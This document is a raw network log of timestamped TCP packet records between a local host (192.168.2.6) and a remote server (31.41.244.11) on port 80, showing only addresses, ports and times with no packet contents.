Nov 21, 2024 14:11:13.488847971 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.488864899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.488869905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.488905907 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.489573002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.489641905 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.489655972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.489672899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.489703894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.489720106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.490427017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.490475893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.490492105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.490499973 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.490535021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.491307974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.491369963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.491379023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.491394997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.491439104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.492192030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.492244005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.492266893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.492291927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.492316008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.492351055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.493074894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.493130922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.493134022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.493150949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.493180990 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.493207932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.493944883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.493993044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.494002104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.494009972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.494050980 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.494066000 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.494813919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.494868040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.494884968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.494980097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.494980097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.495796919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.495851994 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.495987892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.496041059 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.496073008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.496089935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.496118069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.496145964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.496903896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.496995926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.497011900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.497028112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.497042894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.497051954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.497811079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.497876883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.497889042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.497893095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.497934103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.498636961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.498691082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.498694897 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.498708010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.498737097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.498760939 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.499563932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.499639988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.499656916 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.499672890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.499701023 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.499715090 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.500361919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.500402927 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.500474930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.500494957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.500524998 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.500540018 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.501351118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.501367092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.501383066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.501401901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.501429081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.501441956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.502173901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.502235889 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.502237082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.502254009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.502279997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.502290964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.503017902 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.503109932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.503122091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.503139019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.503168106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.503196955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.503890991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.503937006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.503942966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.503961086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.504005909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.504786015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.504833937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.504843950 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.504859924 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.504900932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.505656004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.505681038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.505697012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.505701065 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.505731106 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.505744934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.506441116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.506486893 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.677192926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.677213907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.677258015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.677268028 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.677290916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.677316904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.677333117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.677350044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.677407026 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.678152084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.678199053 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.678214073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.678220987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.678246975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.678267956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.678849936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.678905010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.678914070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.678921938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.678947926 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.678968906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.679773092 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.679824114 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.679836035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.679852962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.679908991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.680691957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.680707932 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.680737019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.680752993 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.680785894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.681503057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.681561947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.681704998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.681720018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.681767941 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.682379961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.682419062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.682434082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.682437897 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.682462931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.682485104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.683247089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.683290005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.683305025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.683327913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.683348894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.684122086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.684173107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.684187889 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.684194088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.684221029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.684232950 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.685075045 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.685148954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.685163975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.685178995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.685229063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.685868025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.685893059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.685909986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.685990095 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.686888933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.686976910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.686991930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.686994076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.687016964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.687151909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.687634945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.687683105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.687700033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.687705040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.687746048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.688678980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.688707113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.688723087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.688798904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.689408064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.689470053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.689471006 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.689487934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.689548969 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.690330982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.690402985 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.690414906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.690431118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.690476894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.691412926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.691473007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.691484928 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.691488981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.691512108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.691524982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.692260027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.692308903 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.692320108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.692323923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.692353010 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.692387104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.692914963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.692970991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.693002939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.693017960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.693044901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.693072081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.693805933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.693820953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.693837881 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.693876982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.693911076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.694674015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.694700003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.694715023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.694741964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.694761992 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.695513010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.695564985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.695579052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.695606947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.695727110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.697465897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.697482109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.697501898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.697519064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.697524071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.697544098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.697571993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.697577953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.697607040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.697613955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.697630882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.697652102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.697668076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.698473930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.698513985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.698529005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.698530912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.698564053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.699347019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.699378014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.699393988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.699400902 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.699434042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.700185061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.700236082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.700244904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.700262070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.700320005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.701086044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.701141119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.701155901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.701193094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.701214075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.702027082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.702071905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.702086926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.702094078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.702126980 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.702869892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.702920914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.702990055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.703005075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.703046083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.703721046 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.703761101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.703774929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.703816891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.703840017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.704673052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.704688072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.704701900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.704735041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.704751015 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.705503941 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.705558062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.705565929 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.705574989 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.705601931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.705698967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.706440926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.706482887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.706497908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.706549883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.707464933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.707515955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.707531929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.707540989 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.707573891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.707598925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.878583908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.878618002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.878633022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.878650904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.878671885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.878679991 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.878691912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.878736019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.879539967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.879587889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.879606962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.879623890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.879796028 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.880218983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.880244017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.880263090 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.880274057 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.880289078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.880300045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.881131887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.881180048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.881191015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.881207943 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.881232977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.881248951 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.881936073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.881975889 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.881989002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.881993055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.882036924 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.882802963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.882863998 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.882874966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.882879972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.882934093 CET	49876	80	192.168.2.6	31.41.244.11
